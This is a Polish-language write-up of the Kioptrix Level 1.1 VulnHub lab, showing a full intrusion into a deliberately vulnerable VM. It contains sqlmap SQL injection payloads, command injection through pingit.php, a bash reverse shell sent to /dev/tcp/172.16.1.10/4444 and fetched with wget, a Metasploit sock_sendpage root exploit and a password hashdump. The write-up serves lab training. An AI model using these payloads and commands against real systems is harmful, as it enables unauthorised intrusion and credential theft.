Kioptrix: Level 1.1

Write-up is in Polish language.

Metainfo

Nazwa: Kioptrix: Level 1.1
Autor: Kioptrix
Wypuszczony: 2011-02-11
Do ściągnięcia: Vulnhub
Poziom: Średni
System: Linux
Nauczysz się: Metasploit, Sqlmap

Wstęp

Po przeczytaniu paru książek o hackingu: Metasploit wydanie I i II, Kali Linux. Testy penetracyjne. Wydanie III, Kali linux - testy bezpieczeństwa, bezpieczeństwo aplikacji webowych, wypadałoby zacząć wykorzystywać swoją wiedzę i zamienić ją w praktykę. W jednej z książek był wspomniany wspaniały serwis vulnhub, gdzie jest masa podatnych wirtualek, które można ściągnąć i spróbować się na nie włamać. Ja do tego używam serwera postawionego na XCP-NG/Xenserver (ver 8.1) na nettopie.

Czemu Kioptrix: Level 1.1 (#2)?

Ostatni opis “przejścia” jest z 2017 roku i screeny do końca nie odpowiadają już rzeczywistości. Przeglądarki internetowe źle wyświetlają formularze, więc trochę inaczej trzeba się zabrać za to, niż jest na tutorialach, przy okazji poćwiczymy trochę z Metasploitem.

Rekonesans

Po ściągnięciu obrazu i zainstalowaniu zabieramy się za pentesting. Uruchamiamy wirtualkę i pierwszym krokiem, który powinniśmy uczynić, to jest ustalenie ip Kioptrixa. W “Xcp-ng center” można zobaczyć adres mak maszyny wirtualnej, ale jeżeli nie używamy “Xcp-ng Center” i mamy odpaloną tylko jedną wirtualkę, to mak też znajdziemy (to już wam zostawiam). Zakładam, że na obrazie z którego atakujecie jest zainstalowany Metasploit, a najlepiej jakbyście używali Kali, bo użyjemy też Sqlmap.

xcp

Zakładam, że Metasploit jest już przynajmniej częściowo znany i jest połączenie z bazą.

  • msfconsole - #odpalamy konsole Metasploita

  • workspace -a kioptrix_v2 - #tworzymy profil

  • db_nmap -sn 172.16.1.0/24 - #skanujemy sieć w poszukiwaniu naszego obrazu, używamy szybkiego skanowania

  • hosts - #wypisujemy hosty, które są w naszej bazie

  • grep -i BE:C4:50:31:E5:BA hosts - #szukamy nasz obraz przez adres mak

  • db_nmap -A 172.16.1.238 - #dokładnie skanujemy Kioptrixa

Sprawdźmy co znalazł Nmap

msf6 post(linux/gather/hashdump) > services
Services
========

host          port  proto  name       state  info
----          ----  -----  ----       -----  ----
172.16.1.238  22    tcp    ssh        open   OpenSSH 3.9p1 protocol 1.99
172.16.1.238  80    tcp    http       open   Apache httpd 2.0.52 (CentOS)
172.16.1.238  111   tcp    rpcbind    open   2 RPC #100000
172.16.1.238  443   tcp    ssl/https  open
172.16.1.238  631   tcp    ipp        open   CUPS 1.1
172.16.1.238  3306  tcp    mysql      open   MySQL unauthorized

Widzimy Apache na 80 porcie, jest również Mysql na porcie 3306. Niestety, nie wiadomo jaka to jest wersja. Skaner mysql version niezbyt nam tutaj pomaga.

msf6 auxiliary(scanner/http/error_sql_injection) > use auxiliary/scanner/mysql/mysql_version
msf6 auxiliary(scanner/mysql/mysql_version) > run

[*] 172.16.1.238:3306     - 172.16.1.238:3306 is running MySQL, but responds with an error: \x04Host '172.16.1.10' is not allowed to connect to this MySQL server
[*] 172.16.1.238:3306     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Podsumowując, ip z którego atakujemy to: 172.16.1.10. Atakowana maszyna zaś ma ip 172.16.1.238. Interesują nas porty 80 i 3306.

Atak

http://172.16.1.238/

Ukazuje się nam panel z loginem i hasłem.

login

Próby z łatwymi hasłami nie działają. Otwórzmy drugą konsolę i użyjmy do tego Sqlmap, bo możliwe, że Apache łączy się z Mysqlem.

# sqlmap --batch -a --forms --dbms=mysql -u "http://172.16.1.238/"
--batch - nie czeka na potwierdzenie wciśnięcia klawisza
-a próbuje wszystkiego
--forms - nie musimy podawać parametrów formularza, program automatycznie znajdzie
--dbms=mysql - bazy danych z rodziny Mysql
-u host

Niestety, SQL Injection się nie powiódł. Zwiększmy w Sqlmap poziom ryzyka i przeszukiwania.

# sqlmap --batch -a --level 5 --risk 3 --forms --dbms=mysql -u "http://172.16.1.238/"

Tym razem się udało.

web server operating system: Linux CentOS 4
web application technology: PHP 4.3.9, Apache 2.0.52
back-end DBMS: MySQL < 5.0.0
banner: '4.1.22'

**jest i login/pass: john/hiroshima**

Niestety wbić się na serwer można chyba tylko przez “localhosta”, albo z jakiegoś konkretnego ip. Po próbie zalogowania się na użytkownika john serwer nas odrzuca. Jeszcze nie wszystko stracone. Sqlmap wypisał nam również podatność SQL Injection, którą możemy użyć w naszym zapytaniu.

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: uname=-9079' OR 4132=4132-- SPZO&psw=admin&btnLogin=Login
    Vector: OR [INFERENCE]

    Type: time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: uname=admin' AND 4343=BENCHMARK(5000000,MD5(0x68787441))-- OMGv&psw=admin&btnLogin=Login
    Vector: AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
---

Parametry uname i psw są podatne na wstrzyknięcia. Spróbujmy z uname. Do pola Username wpisujemy -9079' OR 4132=4132-- Uwaga, należy pamiętać o spacji po , inaczej wstrzyknięcie się nie powiedzie.

Naszym oczom się ukazuje takie coś…

login

Fajnie, chciałbym popingować, ale gdzie mam wpisać adres? Spójrzmy na kod html.

login

No ładnie, nowe przeglądarki (2021 rok) nie obsługują poprawnie kodu z 2011 roku ;) Nic to. Żeby “pomóc” przeglądarce spingować ip możemy użyć Burp suite lub Curla. Użyjemy Curla. Parametry mamy podane w kodzie źródłowym.

# curl -X POST -d 'ip=127.0.0.1&submit=submit' http://172.16.1.238/pingit.php
127.0.0.1<pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.021 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.024 ms

Sukces, działa! Sprawdźmy czy jest podatność na Code Injection?

# curl -X POST -d 'ip=127.0.0.1;ls&submit=submit' http://172.16.1.238/pingit.php
127.0.0.1;ls<pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.022 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.025 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.022/0.024/0.026/0.004 ms, pipe 2
index.php
pingit.php

Jest podatność! Jesteśmy prawie w domu. To co nam zostało to wrzucić backdoora, który się połączy z naszą maszyną atakującą.

Załóżmy, że atakujemy z ip 172.16.1.10, tworzymy więc prościutki backdoor, który będzie się łączył z naszą maszyną.

# echo 'bash -i > /dev/tcp/172.16.1.10/4444 2>&1 0>&1' > rev-shell.sh

Na Kali przygotowujemy ładunek do wysyłki.

# nc -v -l -p 80 < rev-shell.sh

Na następnej konsoli odpalamy nasz Code injection.

# curl -X POST -d 'ip=;wget 172.16.1.10 -O /tmp/rev-shell.sh&submit=submit' http://172.16.1.238/pingit.php

Jak mniej więcej będzie taki komunikat poniżej, to powinno zacząć się pobieranie backdoora.

172.16.1.238: inverse host lookup failed: Unknown host
connect to [172.16.1.10] from (UNKNOWN) [172.16.1.238] 32792
GET / HTTP/1.0
User-Agent: Wget/1.10.2 (Red Hat modified)
Accept: */*
Host: 172.16.1.10
Connection: Keep-Alive

Nie wiem czemu, ale trzeba ręcznie przerwać sesje, (tam gdzie ściągamy Wgetem).

sprawdźmy czy się plik wrzucił:

# curl -X POST -d 'ip=;ls /tmp/&submit=submit' http://172.16.1.238/pingit.php

Plik jest, jednak zanim uruchomimy backdoora, użyjemy Metasploit do nasłuchiwania. Przechodzimy do konsoli z Metasploitem i wywolujemy

msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/handler) > run -j

Następnie łączymy się z serwerem:

# curl -X POST -d 'ip=;bah /tmp/rev-shell.sh&submit=submit' http://172.16.1.238/pingit.php

i na konsoli Metasploita powinniśmy mieć dostęp do Shella. Trzeba tylko wpisać nr sesji. Np. session 3

# bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
# bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Brak roota, wyjdzmy z Shella background i poszukajmy exploita. Serwer jest dosyć stary, więc powina być podatność na exploit o nazwie sendpage.

W konsoli msf:

msf6 exploit(linux/local/sock_sendpage) > use exploit/linux/local/sock_sendpage
msf6 exploit(linux/local/sock_sendpage) > set session 3
session => 3
msf6 exploit(linux/local/sock_sendpage) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.1.10:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.QQefgmLa' (3509 bytes) ...
[*] Executing payload...
[*] Sending stage (980808 bytes) to 172.16.1.238
[*] Meterpreter session 5 opened (172.16.1.10:4444 -> 172.16.1.238:32803) at 2021-06-05 23:16:03 +0200

meterpreter > getuid
Server username: root @ kioptrix.level2 (uid=0, gid=0, euid=0, egid=0)
meterpreter >

Mamy roota. Na zakończenie możemy sobie ściągnąć hasła

background
use post/linux/gather/hashdump
set session 5
run

I to byłoby na tyle. To był mój pierwszy opis, jak zdobyć roota na** Kioptrix: Level 1.1**. Jeżeli masz jakieś sugestie, znalazłeś błędy, to śmiało pisz tu komentarz, lub wyślij mejla na kerszi@protonmail.com

Zostaw komentarz